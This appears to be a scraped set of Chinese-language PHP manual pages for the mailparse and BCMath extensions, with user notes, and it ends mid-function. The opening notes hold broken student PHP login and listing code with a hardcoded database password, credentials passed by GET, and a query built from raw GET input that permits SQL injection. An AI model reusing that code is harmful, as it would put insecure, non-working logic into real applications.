$conexion=mysqli_connect('192.168.2.201','proba','abc123.','senderismo') or die (mysqli_error($conexion));
if ($conexion) {
    if (isset($_GET['c'])) {
        $datos=mysqli_query($conexion,"SELECT * FROM material");
    }
    if (isset($_GET['m'])) {
        $datos=mysqli_query($conexion,"SELECT * FROM material ORDER BY Marca");
    }
    if (isset($_GET['p'])) {
        $datos=mysqli_query($conexion,"SELECT * FROM material ORDER BY Prezo");
    }
    if (isset($_GET['e'])) {
        if (isset($_GET['T']){
            $type=$_GET['T']
            $datos=mysqli_query($conexion,"SELECT * FROM material where Tipo like '$type$");
        }
    }
if ($datos != FALSE) {
    while ($fila=mysqli_fetch_array($datos)) {
        $srcImaxe=$fila['Imaxe'].".jpg";
        echo "<div class='produto'><img src='imaxes/$srcImaxe'><br>",$fila['Nome'],"<br>",
$fila['Marca'],"<br>",$fila['Tipo'],"<br>",$fila['Prezo'],"�<br></div>";
        }
    }
    echo "<form action='ver.php' method='GET'
        <input type='submit' name='volta' value='Vovler atrás'<br>
        </form>";
}
else{
    echo "Mal;"
}
?>
ver at gmail dot com 11-Mar-2021 05:07
<?php
session_start();
?>
<?php
$conexion=mysqli_connect('192.168.2.201','proba','abc123.','senderismo') or die (mysqli_error($conexion));
if ($conexion) {
    $usu1=$_GET['usu'];
    $con1=$_GET['con'];
}
if ((strcmp($usu1, "Eva")==0 || strcmp($usu1, "Xan")==0)&& strcmp($con1, "abc123.")==0 ){
    $_SESSION['usu']=$usu1;
    $_SESSION['con']=$con1;
    echo "Benvido: ", $usu1;

    echo "<form action='lista.php' method='GET'>
    <input type='submit' name='c' value='Listado Completo'><br>
    <input type='submit' name='m' value='Listado por Marca'><br>
    <input type='submit' name='p' value='Listado por prezo'><br>
    <select name='T'>
        <option name='Calcetin'>Calcetin</option>
        <option name='Pantalon'>Pantalon</option>
        <option name='Bota'>Bota</option>
        <option name='Chaqueta'>Chaqueta</option>
        <option name='Zapatilla'>Zapatilla</option>
            </select>
        <input type='submit' name='e' value='Enviar'><br>
    </form>";

    if (strcmp($usu1, "Eva")==0{
        echo "<input type='button' name='c' value='Engadir Rexistro'><br>
        <input type='button' name='m' value='Editar Rexistro'><br>
        <input type='button' name='p' value='Eliminar Rexistro'><br>";
    }
}
else {
    echo "Non se puido conectar a BBDD";
}
?>
intro at gmail dot com 11-Mar-2021 05:05
<!DOCTYPE html>
<html>
<head>
    <title></title>
</head>
<body>
<form action="ver.php" method="GET">
    <p>Introduzca un Usuario:</p>
    <input type="text" name="usu"><br>
    <p>Introduzca un Contrasinal:</p>
    <input type="password" name="con"><br>
    <input type="submit" name="Enviar">
</form>
</body>
</html>
matej dot kovac at gmail dot com 20-Nov-2011 11:12
As of mailparse-2.1.5, it can return 7bit, 8bit, base64 and qprint. False on mbstring failure.
mileskeaton at gmail dot com 02-Jan-2009 11:16
As far as I can tell, this only returns one of two strings: 'Quoted-Printable' or '7bit'


Create a mime mail resource

  • ? mailparse_determine_best_xfer_encoding
  • mailparse_msg_extract_part_file ?
  • PHP Manual
  • Mailparse 函数
  • Create a mime mail resource

mailparse_msg_create

(PECL mailparse >= 0.9.0)

mailparse_msg_create — Create a mime mail resource

说明

mailparse_msg_create(): resource

Create a MIME mail resource.

参数

此函数没有参数。

返回值

Returns a handle that can be used to parse a message.

注释

Note:

It is recommended to call mailparse_msg_free() on the result of this function, when it is no longer needed, to avoid memory leaks.

参见

  • mailparse_msg_free() - Frees a MIME resource
  • mailparse_msg_parse_file() - Parses a file

User Contributed Notes

There are no user contributed notes for this page.


Extracts/decodes a message section

  • ? mailparse_msg_create
  • mailparse_msg_extract_part ?
  • PHP Manual
  • Mailparse 函数
  • Extracts/decodes a message section

mailparse_msg_extract_part_file

(PECL mailparse >= 0.9.0)

mailparse_msg_extract_part_file — Extracts/decodes a message section

说明

mailparse_msg_extract_part_file(resource $mimemail, mixed $filename, callable $callbackfunc = ?): string

Extracts/decodes a message section from the supplied filename.

The contents of the section will be decoded according to their transfer encoding - base64, quoted-printable and uuencoded text are supported.

参数

mimemail

A valid MIME resource, created with mailparse_msg_create().

filename

Can be a file name or a valid stream resource.

callbackfunc

If set, this must be either a valid callback that will be passed the extracted section, or null to make this function return the extracted section.

If not specified, the contents will be sent to "stdout".

返回值

If callbackfunc is not null returns true on success.

If callbackfunc is set to null, returns the extracted section as a string.

Returns false on error.

参见

  • mailparse_msg_extract_part() - Extracts/decodes a message section
  • mailparse_msg_extract_whole_part_file() - Extracts a message section including headers without decoding the transfer encoding

User Contributed Notes

carlos at wfmh dot org dot pl 24-Feb-2009 08:15
Be aware of "corporate mails" or users who do not understand character encoding too deeply (or do not care). You may (as we did) face mail where the whole mail body is encoded used i.e. Latin2 (and iso-8859-2 is given in multipart's charset header) but at the same time the body also contains text footer with UTF-8 characters in it... Yes, fu*g Microsoft Exchange V6.5 frontent will show that fine on the screen, but if when receive it:

mailparse_msg_extract_part_file() - filter conversion failed. Input message is probably incorrectly encoded in ....

so be extra careful and deal with all the possible errors to avoid mail loss.
per at computer dot org 21-Oct-2004 01:09
mailparse_msg_extract_part_file() does not support file-wrappers as it needs to be able to use seek() on the file.


Extracts/decodes a message section

  • ? mailparse_msg_extract_part_file
  • mailparse_msg_extract_whole_part_file ?
  • PHP Manual
  • Mailparse 函数
  • Extracts/decodes a message section

mailparse_msg_extract_part

(PECL mailparse >= 0.9.0)

mailparse_msg_extract_part — Extracts/decodes a message section

说明

mailparse_msg_extract_part(resource $mimemail, string $msgbody, callable $callbackfunc = ?): void
Warning

本函数还未编写文档，仅有参数列表。

参数

mimemail

A valid MIME resource.

msgbody

callbackfunc

返回值

没有返回值。

参见

  • mailparse_msg_extract_part_file() - Extracts/decodes a message section
  • mailparse_msg_extract_whole_part_file() - Extracts a message section including headers without decoding the transfer encoding

User Contributed Notes

Sbastien 23-Jan-2021 11:21
Here a full example to save ZIP files attachments in their original name.

<?php
$email_raw = '(raw e-mail contents buffer)';
$parser = mailparse_msg_create(); // MUST be destroyed at the end of the script
mailparse_msg_parse($parser, $email_raw);
$structure = mailparse_msg_get_structure($parser); // Ex. ["1", "1.1", "1.2"]
foreach ($structure as $part_label) { // Search among each e-mail part
    $part = mailparse_msg_get_part($parser, $part_label); // Parse a specified part
    $part_data = mailparse_msg_get_part_data($part); // Get parsed part data, header and meta values
    if ($part_data['content-type'] ?? null === 'application/zip') {
        $name = $part_data['disposition-filename'] ?? $part_data['content-name'] ?? 'unknow.zip';
        $contents = mailparse_msg_extract_part($part, $email_raw, null); // null for returning content
        file_put_contents($name, $contents);
    }
}
mailparse_msg_free($parser); // Important
Anonymous 06-May-2019 07:55
The callback argument does not support closures... :( It will complains with "PHP Catchable fatal error:  Object of class Closure could not be converted to string".
marlinf {at} datashaman {dot} com 11-Jan-2008 02:13
With ref to previous comment re: callback:

If you explicitly specify NULL as the callback parameter, the complete section is extracted, decoded and returned, without the need for a callback.
Will 04-Jan-2007 12:12
In mailparse version 2.1.1 (and perhaps earlier), when using mailparse_msg_extract_part() with a callback function, it breaks the data it passes to it into 4kB chunks and calls the callback function for each chunk.  So, for example, if it's extracting a 41kB MIME part, the callback function you define will be called 11 times, each time with the next chunk of data.  Here's some quick-and-dirty code that shows one way to handle this:

<?php
    $message = file_get_contents ("email.txt"); // Pull in the e-mail.

    function catch_part ($part)
    {
        $GLOBALS["part_data"] .= $part; // Append the data onto any previously extracted data.
    }

    mailparse_msg_extract_part ("1.1", $message, "catch_part"); // Extract MIME part 1.1
    echo $GLOBALS["part_data"]; // Print out the extracted part.
?>

There's probably a much better way of dealing with this, but hey.  It's what I got.
php at cdauth dot de 07-Jun-2006 12:01
substr() uses the string length, not the position as third argument. The corrected version of the following code line:
<?php
$parts[$s] = substr($file_txt, $starting_pos_body, $ending_pos_body-$starting_pos_body);
?>
steve at tequilasolutions dot com 06-Apr-2006 10:36
Unless I've missed something obvious:

get_structure returns array(1,1.1,1.1.2) etc but its not easy to get the contents of each part as mailparse_msg_extract_part() and mailparse_msg_extract_part_file() just return the lot.  However get_part_data will return the string offsets so you know where to chop the message so you can get the contents of the parts.

Only issue is get_part_data returns:
    [starting-pos] => 0
    [starting-pos-body] => 1412
    [ending-pos] => 14989
    [ending-pos-body] => 14989

Unless I'm missed something else, theres a bug here as ending-pos is the same as ending-pos-body so it won't chop the contents cleanly, leaving the:

------=_NextPart_000_0069_01C659A6.9072E590--

...as supposedly part of the section contents.

$file = "..../mail"; // path of your mail
$file_txt = implode("",file($file));
$parse = mailparse_msg_parse_file($file);
$structure = mailparse_msg_get_structure($parse);
// chop message parts into array
$parts = array();
foreach ($structure as $s){
    print "Part $s\n";
    print "--------------------------------------\n";
    $part = mailparse_msg_get_part($parse, $s);
    $part_data = mailparse_msg_get_part_data($part);
    print_r($part_data);
    $starting_pos_body = $part_data['starting-pos-body'];
    $ending_pos_body    = $part_data['ending-pos-body'];
    $parts[$s] = substr($file_txt,$starting_pos_body,$ending_pos_body); // copy data into array
    print "[".$parts[$s]."]";
    print "\n------------------------------------\n";
}


Extracts a message section including headers without decoding the transfer encoding

  • ? mailparse_msg_extract_part
  • mailparse_msg_free ?
  • PHP Manual
  • Mailparse 函数
  • Extracts a message section including headers without decoding the transfer encoding

mailparse_msg_extract_whole_part_file

(PECL mailparse >= 0.9.0)

mailparse_msg_extract_whole_part_file — Extracts a message section including headers without decoding the transfer encoding

说明

mailparse_msg_extract_whole_part_file(resource $mimemail, string $filename, callable $callbackfunc = ?): string
Warning

本函数还未编写文档，仅有参数列表。

参数

mimemail

A valid MIME resource.

filename

callbackfunc

返回值

参见

  • mailparse_msg_extract_part() - Extracts/decodes a message section
  • mailparse_msg_extract_part_file() - Extracts/decodes a message section

User Contributed Notes

There are no user contributed notes for this page.


Frees a MIME resource

  • ? mailparse_msg_extract_whole_part_file
  • mailparse_msg_get_part_data ?
  • PHP Manual
  • Mailparse 函数
  • Frees a MIME resource

mailparse_msg_free

(PECL mailparse >= 0.9.0)

mailparse_msg_free — Frees a MIME resource

说明

mailparse_msg_free(resource $mimemail): bool

Frees a MIME resource.

参数

mimemail

A valid MIME resource allocated by mailparse_msg_create() or mailparse_msg_parse_file().

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • mailparse_msg_create() - Create a mime mail resource
  • mailparse_msg_parse_file() - Parses a file

User Contributed Notes

There are no user contributed notes for this page.


Returns an associative array of info about the message

  • ? mailparse_msg_free
  • mailparse_msg_get_part ?
  • PHP Manual
  • Mailparse 函数
  • Returns an associative array of info about the message

mailparse_msg_get_part_data

(PECL mailparse >= 0.9.0)

mailparse_msg_get_part_data — Returns an associative array of info about the message

说明

mailparse_msg_get_part_data(resource $mimemail): array
Warning

本函数还未编写文档，仅有参数列表。

参数

mimemail

A valid MIME resource.

User Contributed Notes

There are no user contributed notes for this page.


Returns a handle on a given section in a mimemessage

  • ? mailparse_msg_get_part_data
  • mailparse_msg_get_structure ?
  • PHP Manual
  • Mailparse 函数
  • Returns a handle on a given section in a mimemessage

mailparse_msg_get_part

(PECL mailparse >= 0.9.0)

mailparse_msg_get_part — Returns a handle on a given section in a mimemessage

说明

mailparse_msg_get_part(resource $mimemail, string $mimesection): resource
Warning

本函数还未编写文档，仅有参数列表。

参数

mimemail

A valid MIME resource.

mimesection

User Contributed Notes

vangelier at hotmail dot com 17-Mar-2016 04:02
A multi-part e-mail message can exists out of different parts.

Like:

Array
(
    [0] => 1
    [1] => 1.1
    [2] => 1.1.1
    [3] => 1.1.2
    [4] => 1.2
)

Each part is a section in the mail message. To loop through every part of the message you need to go like this:

$mime_part = mailparse_msg_get_part($this->message, "1.2"); //1.2 is the binary base64 encoded part of the attachement

$body_parts = mailparse_msg_get_part_data($mime_part);

Body part looks like this:

Array
(
    [headers] => Array
        (
            [content-type] => application/x-zip-compressed;  name="3000_000000.txt"
            [content-disposition] => attachment; filename="3000_000000.txt"
            [content-transfer-encoding] => base64
            [x-attachment-id] => b31f1a24358e7e5_0.1
        )

    [starting-pos] => 4513
    [starting-pos-body] => 4736
    [ending-pos] => 4772
    [ending-pos-body] => 4772
    [line-count] => 6
    [body-line-count] => 0
    [charset] => us-ascii
    [transfer-encoding] => base64
    [content-name] => 3000_000000.sbd
    [content-type] => application/x-zip-compressed
    [disposition-filename] => 3000_000000.sbd
    [content-disposition] => attachment
    [content-base] => /
)


Returns an array of mime section names in the supplied message

  • ? mailparse_msg_get_part
  • mailparse_msg_parse_file ?
  • PHP Manual
  • Mailparse 函数
  • Returns an array of mime section names in the supplied message

mailparse_msg_get_structure

(PECL mailparse >= 0.9.0)

mailparse_msg_get_structure — Returns an array of mime section names in the supplied message

说明

mailparse_msg_get_structure(resource $mimemail): array
Warning

本函数还未编写文档，仅有参数列表。

参数

mimemail

A valid MIME resource.

User Contributed Notes

rueda dot raul at gmail dot com 18-Feb-2020 06:34
Example of this function output:

<?php

$parse = mailparse_msg_parse_file('mail.txt');

print_r(mailparse_msg_get_structure($parse);

?>

Output will be:

Array
(
    [0] => 1
    [1] => 1.1
    [2] => 1.1.1
    [3] => 1.1.2
    [4] => 1.2
)


Parses a file

  • ? mailparse_msg_get_structure
  • mailparse_msg_parse ?
  • PHP Manual
  • Mailparse 函数
  • Parses a file

mailparse_msg_parse_file

(PECL mailparse >= 0.9.0)

mailparse_msg_parse_file — Parses a file

说明

mailparse_msg_parse_file(string $filename): resource

Parses a file. This is the optimal way of parsing a mail file that you have on disk.

参数

filename

Path to the file holding the message. The file is opened and streamed through the parser.

Note:

The message contained in filename is supposed to end with a newline (CRLF); otherwise the last line of the message will not be parsed.

返回值

Returns a MIME resource representing the structure, or false on error.

注释

Note:

It is recommended to call mailparse_msg_free() on the result of this function, when it is no longer needed, to avoid memory leaks.

参见

  • mailparse_msg_free() - Frees a MIME resource
  • mailparse_msg_create() - Create a mime mail resource

User Contributed Notes

schmidt at cube hyphen concept dot com 11-May-2021 11:01
I just encountered an internal server error by simply calling
$eml = mailparse_msg_parse_file("$path/eml/$email_id.eml");

The error disappeared after adding
mailparse_msg_free($eml);
to the end of the script.

Without mailparse_msg_free i keep getting an internal server error.


Incrementally parse data into buffer

  • ? mailparse_msg_parse_file
  • mailparse_rfc822_parse_addresses ?
  • PHP Manual
  • Mailparse 函数
  • Incrementally parse data into buffer

mailparse_msg_parse

(PECL mailparse >= 0.9.0)

mailparse_msg_parse — Incrementally parse data into buffer

说明

mailparse_msg_parse(resource $mimemail, string $data): bool

Incrementally parse data into the supplied mime mail resource.

This function allow you to stream portions of a file at a time, rather than read and parse the whole thing.

参数

mimemail

A valid MIME resource.

data

Note:

The final chunk of data is supposed to end with a newline (CRLF); otherwise the last line of the message will not be parsed.

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

Adrien 13-Jan-2017 12:49
This code written within a function may end up causing a 500 error with php 7 :

$mime = mailparse_msg_create();
mailparse_msg_parse($mime,$content);
exit;

Don't forget to free the ressource using mailparse_msg_free($mime) before the exit, apache/php does not seem to be able to do it automatically.


Parse RFC 822 compliant addresses

  • ? mailparse_msg_parse
  • mailparse_stream_encode ?
  • PHP Manual
  • Mailparse 函数
  • Parse RFC 822 compliant addresses

mailparse_rfc822_parse_addresses

(PECL mailparse >= 0.9.0)

mailparse_rfc822_parse_addresses — Parse RFC 822 compliant addresses

说明

mailparse_rfc822_parse_addresses(string $addresses): array

Parses a » RFC 822 compliant recipient list, such as that found in the To: header.

参数

addresses

A string containing addresses, like in: Wez Furlong <wez@example.com>, doe@example.com

Note:

This string must not include the header name.

返回值

Returns an array of associative arrays with the following keys for each recipient:

display | The recipient name, for display purpose. If this part is not set for a recipient, this key will hold the same value as address.
address | The email address
is_group | true if the recipient is a newsgroup, false otherwise.

示例

Example #1 mailparse_rfc822_parse_addresses() example

<?php

$to = 'Wez Furlong <wez@example.com>, doe@example.com';
var_dump(mailparse_rfc822_parse_addresses($to));

?>

以上示例会输出：

array(2) {
  [0]=>
  array(3) {
    ["display"]=>
    string(11) "Wez Furlong"
    ["address"]=>
    string(15) "wez@example.com"
    ["is_group"]=>
    bool(false)
  }
  [1]=>
  array(3) {
    ["display"]=>
    string(15) "doe@example.com"
    ["address"]=>
    string(15) "doe@example.com"
    ["is_group"]=>
    bool(false)
  }
}

User Contributed Notes

murph dot vienna at gmail dot com 11-Mar-2014 04:15
<?php
// input: My Test Email <some.test.email@somewhere.net>

function get_displayname_from_rfc_email($rfc_email_string) {
    // match all words and whitespace, will be terminated by '<'
    $name       = preg_match('/[\w\s]+/', $rfc_email_string, $matches);
    $matches[0] = trim($matches[0]);
    return $matches[0];
}
// Output: My Test Email

function get_email_from_rfc_email($rfc_email_string) {
    // extract parts between the two parentheses
    $mailAddress = preg_match('/(?:<)(.+)(?:>)$/', $rfc_email_string, $matches);
    return $matches[1];
}
// Output: some.test.email@somewhere.net
?>
24-Nov-2004 04:12
An alternative to the mailparse_rfc822_parse_addresses() function is Mail_RFC822::parseAddressList() from Pear:

http://pear.php.net/manual/en/package.mail.mail.php

It parses the string and returns a structured tree of data. Returns a pear_error object if the string is not valid.

Example:

require_once "PEAR.php";
require_once "Mail/RFC822.php";

$addr= "Hi <hi@world.org>";

$res= Mail_RFC822::parseAddressList($addr);
if (PEAR::isError($res)) die("NOT VALID: " . $res->getMessage() . "\n");
echo "OK. Data:\n";
print_r($res);
mat at phpconsulting dot com 24-Apr-2003 09:59
If for some reason you cannot compile mailparse into your install of PHP, you will also find an extremely similar function in the Mail_MIME PEAR class, specifically in mimeDecode.php.


Streams data from source file pointer, apply encoding and write to destfp

  • ? mailparse_rfc822_parse_addresses
  • mailparse_uudecode_all ?
  • PHP Manual
  • Mailparse 函数
  • Streams data from source file pointer, apply encoding and write to destfp

mailparse_stream_encode

(PECL mailparse >= 0.9.0)

mailparse_stream_encode — Streams data from source file pointer, apply encoding and write to destfp

说明

mailparse_stream_encode(resource $sourcefp, resource $destfp, string $encoding): bool

Streams data from the source file pointer, apply encoding and write to the destination file pointer.

参数

sourcefp

A valid file handle. The file is streamed through the parser.

destfp

The destination file handle in which the encoded data will be written.

encoding

One of the character encodings supported by the mbstring module.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 mailparse_stream_encode() example

<?php

// email.eml contents: hello, this is some text=hello.
$fp = fopen('email.eml', 'r');

$dest = tmpfile();

mailparse_stream_encode($fp, $dest, "quoted-printable");

rewind($dest);

// Display new file contents
fpassthru($dest);

?>

以上示例会输出：

hello, this is some text=3Dhello.

User Contributed Notes

There are no user contributed notes for this page.


Scans the data from fp and extract each embedded uuencoded file

  • ? mailparse_stream_encode
  • 数学扩展 ?
  • PHP Manual
  • Mailparse 函数
  • Scans the data from fp and extract each embedded uuencoded file

mailparse_uudecode_all

(PECL mailparse >= 0.9.0)

mailparse_uudecode_all — Scans the data from fp and extract each embedded uuencoded file

说明

mailparse_uudecode_all(resource $fp): array

Scans the data from the given file pointer and extract each embedded uuencoded file into a temporary file.

参数

fp

A valid file pointer.

返回值

Returns an array of associative arrays listing filename information.

filename | Path to the temporary file name created
origfilename | The original filename, for uuencoded parts only
The first filename entry is the message body. The next entries are the decoded uuencoded files.

示例

Example #1 mailparse_uudecode_all() example

<?php

$text = <<<EOD
To: fred@example.com

hello, this is some text hello.
blah blah blah.

begin 644 test.txt
/=&AI<R!I<R!A('1E<W0*
`
end

EOD;

$fp = tmpfile();
fwrite($fp, $text);

$data = mailparse_uudecode_all($fp);

echo "BODY\n";
readfile($data[0]["filename"]);
echo "UUE ({$data[1]['origfilename']})\n";
readfile($data[1]["filename"]);

// Clean up
unlink($data[0]["filename"]);
unlink($data[1]["filename"]);

?>

以上示例会输出：

BODY
To: fred@example.com

hello, this is some text hello.
blah blah blah.

UUE (test.txt)
this is a test

User Contributed Notes

mat at phpconsulting dot com 24-Apr-2003 10:04
As an alternative,  uudecode() can be called as static function as follows:

$file =& Mail_mimeDecode::uudecode($some_text);

This will return the following arrays:
 @param  string Input body to look for attachments in
 @return array  Decoded bodies, filenames and permissions


数学扩展

  • BC Math — BCMath 任意精度数学
    • 简介
    • 安装/配置
    • 预定义常量
    • BC 数学 函数
  • GMP — GNU Multiple Precision
    • 简介
    • 安装/配置
    • 预定义常量
    • 示例
    • GMP 函数
    • GMP — The GMP class
  • Math — 数学函数
    • 简介
    • 安装/配置
    • 预定义常量
    • Math 函数
  • Statistics
    • 简介
    • 安装/配置
    • 预定义常量
    • Statistic 函数
  • Trader — Technical Analysis for Traders
    • 简介
    • 安装/配置
    • 预定义常量
    • Trader 函数

User Contributed Notes

There are no user contributed notes for this page.


BCMath 任意精度数学

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • BC 数学 函数
    • bcadd — 两个任意精度数字的加法计算
    • bccomp — 比较两个任意精度的数字
    • bcdiv — 两个任意精度的数字除法计算
    • bcmod — 任意精度数字取模
    • bcmul — 两个任意精度数字乘法计算
    • bcpow — 任意精度数字的乘方
    • bcpowmod — Raise an arbitrary precision number to another, reduced by a specified modulus
    • bcscale — 设置/获取所有 bc math 函数的默认小数点保留位数
    • bcsqrt — 任意精度数字的二次方根
    • bcsub — 两个任意精度数字的减法

User Contributed Notes

Artur Kuritsyn 18-Sep-2017 11:59
Useful function for bcround

    function getBcRound($number, $precision = 0)
    {
        $precision = ($precision < 0)
                   ? 0
                   : (int) $precision;
        if (strcmp(bcadd($number, '0', $precision), bcadd($number, '0', $precision+1)) == 0) {
            return bcadd($number, '0', $precision);
        }
        if (getBcPresion($number) - $precision > 1) {
            $number = getBcRound($number, $precision + 1);
        }
        $t = '0.' . str_repeat('0', $precision) . '5';
        return $number < 0
               ? bcsub($number, $t, $precision)
               : bcadd($number, $t, $precision);
    }

    function getBcPresion($number) {
        $dotPosition = strpos($number, '.');
        if ($dotPosition === false) {
            return 0;
        }
        return strlen($number) - strpos($number, '.') - 1;
    }

    var_dump(getBcRound('3', 0) == number_format('3', 0));
    var_dump(getBcRound('3.4', 0) == number_format('3.4', 0));
    var_dump(getBcRound('3.56', 0) == number_format('3.6', 0));
    var_dump(getBcRound('1.95583', 2) == number_format('1.95583', 2));
    var_dump(getBcRound('5.045', 2) == number_format('5.045', 2));
    var_dump(getBcRound('5.055', 2) == number_format('5.055', 2));
    var_dump(getBcRound('9.999', 2) == number_format('9.999', 2));
    var_dump(getBcRound('5.0445', 5) == number_format('5.044500', 5));
    var_dump(getBcRound('5.0445', 4) == number_format('5.04450', 4));
    var_dump(getBcRound('5.0445', 3) == number_format('5.0445', 3));
    var_dump(getBcRound('5.0445', 2) == number_format('5.045', 2));
    var_dump(getBcRound('5.0445', 1) == number_format('5.05', 1));
    var_dump(getBcRound('5.0445', 0) == number_format('5.0', 0));//
    var_dump(getBcRound('5.04455', 2) == number_format('5.045', 2));
    var_dump(getBcRound('99.999', 2) == number_format('100.000', 2));
    var_dump(getBcRound('99.999') == number_format('99.999', 0));
    var_dump(getBcRound('99.999', 'a') == number_format('99.999', 0));
    var_dump(getBcRound('99.999', -1.5) == number_format('99.999', 0));
    var_dump(getBcRound('-0.00001', 2) == number_format('-0.000', 2));
    var_dump(getBcRound('-0.0000', 2) == number_format('0', 2));
    var_dump(getBcRound('-4.44455', 2) == number_format('-4.445', 2));
    var_dump(getBcRound('-4.44555', 0) == number_format('-4.5', 0));
    var_dump(getBcRound('-4.444444444444444444444444444444444444444444445', 0) == number_format('-4.5', 0));
Anonymous 18-Sep-2017 11:58
Useful function for bcround

    function getBcRound($number, $precision = 0)
    {
        $precision = ($precision < 0)
                   ? 0
                   : (int) $precision;
        if (strcmp(bcadd($number, '0', $precision), bcadd($number, '0', $precision+1)) == 0) {
            return bcadd($number, '0', $precision);
        }
        if (getBcPresion($number) - $precision > 1) {
            $number = getBcRound($number, $precision + 1);
        }
        $t = '0.' . str_repeat('0', $precision) . '5';
        return $number < 0
               ? bcsub($number, $t, $precision)
               : bcadd($number, $t, $precision);
    }

    function getBcPresion($number) {
        $dotPosition = strpos($number, '.');
        if ($dotPosition === false) {
            return 0;
        }
        return strlen($number) - strpos($number, '.') - 1;
    }

    var_dump(getBcRound('3', 0) == number_format('3', 0));
    var_dump(getBcRound('3.4', 0) == number_format('3.4', 0));
    var_dump(getBcRound('3.56', 0) == number_format('3.6', 0));
    var_dump(getBcRound('1.95583', 2) == number_format('1.95583', 2));
    var_dump(getBcRound('5.045', 2) == number_format('5.045', 2));
    var_dump(getBcRound('5.055', 2) == number_format('5.055', 2));
    var_dump(getBcRound('9.999', 2) == number_format('9.999', 2));
    var_dump(getBcRound('5.0445', 5) == number_format('5.044500', 5));
    var_dump(getBcRound('5.0445', 4) == number_format('5.04450', 4));
    var_dump(getBcRound('5.0445', 3) == number_format('5.0445', 3));
    var_dump(getBcRound('5.0445', 2) == number_format('5.045', 2));
    var_dump(getBcRound('5.0445', 1) == number_format('5.05', 1));
    var_dump(getBcRound('5.0445', 0) == number_format('5.0', 0));//
    var_dump(getBcRound('5.04455', 2) == number_format('5.045', 2));
    var_dump(getBcRound('99.999', 2) == number_format('100.000', 2));
    var_dump(getBcRound('99.999') == number_format('99.999', 0));
    var_dump(getBcRound('99.999', 'a') == number_format('99.999', 0));
    var_dump(getBcRound('99.999', -1.5) == number_format('99.999', 0));
    var_dump(getBcRound('-0.00001', 2) == number_format('-0.000', 2));
    var_dump(getBcRound('-0.0000', 2) == number_format('0', 2));
    var_dump(getBcRound('-4.44455', 2) == number_format('-4.445', 2));
    var_dump(getBcRound('-4.44555', 0) == number_format('-4.5', 0));
    var_dump(getBcRound('-4.444444444444444444444444444444444444444444445', 0) == number_format('-4.5', 0));
Hayley Watson 26-Oct-2015 01:30
This extension is an interface to the GNU implementation as a library of the Basic Calculator utility by Philip Nelson; hence the name.
volek at adamv dot cz 15-Jan-2015 01:44
Note that when you use implementation of factorial that ClaudiuS made, you get results even if you try to calculate factorial of number that you normally can't, e.g. 2.5, -2, etc. Here is safer implementation:
<?php
/**
 * Calculates a factorial of given number.
 * @param string|int $num
 * @throws InvalidArgumentException
 * @return string
 */
function bcfact($num)
{
    if (!filter_var($num, FILTER_VALIDATE_INT) || $num <= 0) {
        throw new InvalidArgumentException(sprintf('Argument must be natural number, "%s" given.', $num));
    }

    for ($result = '1'; $num > 0; $num--) {
        $result = bcmul($result, $num);
    }

    return $result;
}
?>
George Lund 20-May-2014 12:48
It's worth noting that this library is named very wrongly.

It may be called 'Binary Calculator', but what you're getting is a decimal calculator that can represent base-10 fractions accurately.
ClaudiuS 19-Feb-2013 02:25
Needed to compute some permutations and found the BC extension great but poor on functions, so untill this gets implemented here's the factorial function:

<?php
/* BC FACTORIAL
 * n! = n * (n-1) * (n-2) .. 1 [eg. 5! = 5 * 4 * 3 * 2 * 1 = 120]
 */
function bcfact($n){
    $factorial=$n;
    while (--$n>1) $factorial=bcmul($factorial,$n);
    return $factorial;
}

print bcfact(50);
//30414093201713378043612608166064768844377641568960512000000000000
?>


简介

对于任意精度的数学， 如果有足够多的内存，PHP 提供的 BCMath 支持用字符串的形式表示任意大小和精度的数字，最大尺寸为 2147483647（即 0x7FFFFFFF）。

有效（即格式良好）的 BCMath 数字是匹配正则表达式 /^[+-]?[0-9]*(\.[0-9]*)?$/ 的字符串。

Caution

BCMath 函数想要操作的是 string，如果传入了 float 可能无法达到想要的效果， 因为 PHP 会将 float 的值转换为 string。 也就意味着 string 可能会带科学计数法符号（BCMath 并不支持）， 另外在 PHP 8.0.0 之前，小数点分隔符也不支持本地化（BCMath 只能识别英文句号小数点）。

<?php
$num1 = 0; // (string) 0 => '0'
$num2 = -0.000005; // (string) -0.000005 => '-5.05E-6'
echo bcadd($num1, $num2, 6); // => '0.000000'

setlocale(LC_NUMERIC, 'de_DE'); // 使用逗号小数点
$num2 = 1.2; // (string) 1.2 => '1,2'
echo bcsub($num1, $num2, 1); // => '0.0'
?>

User Contributed Notes

There are no user contributed notes for this page.


安装

本类函数仅在 PHP 编译时配置了 --enable-bcmath 时可用。

PHP 的 Windows 版本已内建对此扩展的支持。不需要载入额外的扩展来使用这些函数。

User Contributed Notes

There are no user contributed notes for this page.


运行时配置

这些函数的行为受 php.ini 中的设置影响。

BC 数学库配置选项
名字 | 默认 | 可修改范围 | 更新日志
bcmath.scale | "0" | PHP_INI_ALL |
有关 PHP_INI_* 样式的更多详情与定义，见 配置可被设定范围。

这是配置指令的简短说明。

bcmath.scale int

所有 bcmath 函数中十进制数字的数目。参见 bcscale()。

User Contributed Notes

There are no user contributed notes for this page.


BC 数学 函数

Table of Contents

  • bcadd — 两个任意精度数字的加法计算
  • bccomp — 比较两个任意精度的数字
  • bcdiv — 两个任意精度的数字除法计算
  • bcmod — 任意精度数字取模
  • bcmul — 两个任意精度数字乘法计算
  • bcpow — 任意精度数字的乘方
  • bcpowmod — Raise an arbitrary precision number to another, reduced by a specified modulus
  • bcscale — 设置/获取所有 bc math 函数的默认小数点保留位数
  • bcsqrt — 任意精度数字的二次方根
  • bcsub — 两个任意精度数字的减法

User Contributed Notes

eyadbere at gmail dot com 18-Aug-2020 11:02
If your calculations involves input from users don't forget to set a limit on the range and/or the length of the input because very huge numbers requires intensive processing and you might reach a point where your server can't do any further processing
kmeissen at gmx dot de 24-Jun-2016 10:05
/*
 * Computes ln(x) very fast even with high resolution
 * uses standard log()-function to optimise convergence of
 * ln(1+x) = x - x*x/2 + x*x*x/3 - ...
 *
 * example:
 * bcscale(1000);
 * $x = bcln("1000000");
 *
 * result:
 * $x = 13.81551055796427410410794872810618524560660893...
 * within 0.9 sec, that are 80 iterations
 *
 * @author Klaus Meissen, Germany
 * @license Public domain
*/
function bcln($value) // value > 0
{
    $m = (string)log($value);
    $x = bcsub(bcdiv($value,bcexp($m)),"1");
    $res = "0";
    $xpow = "1";
    $i=0;
    do
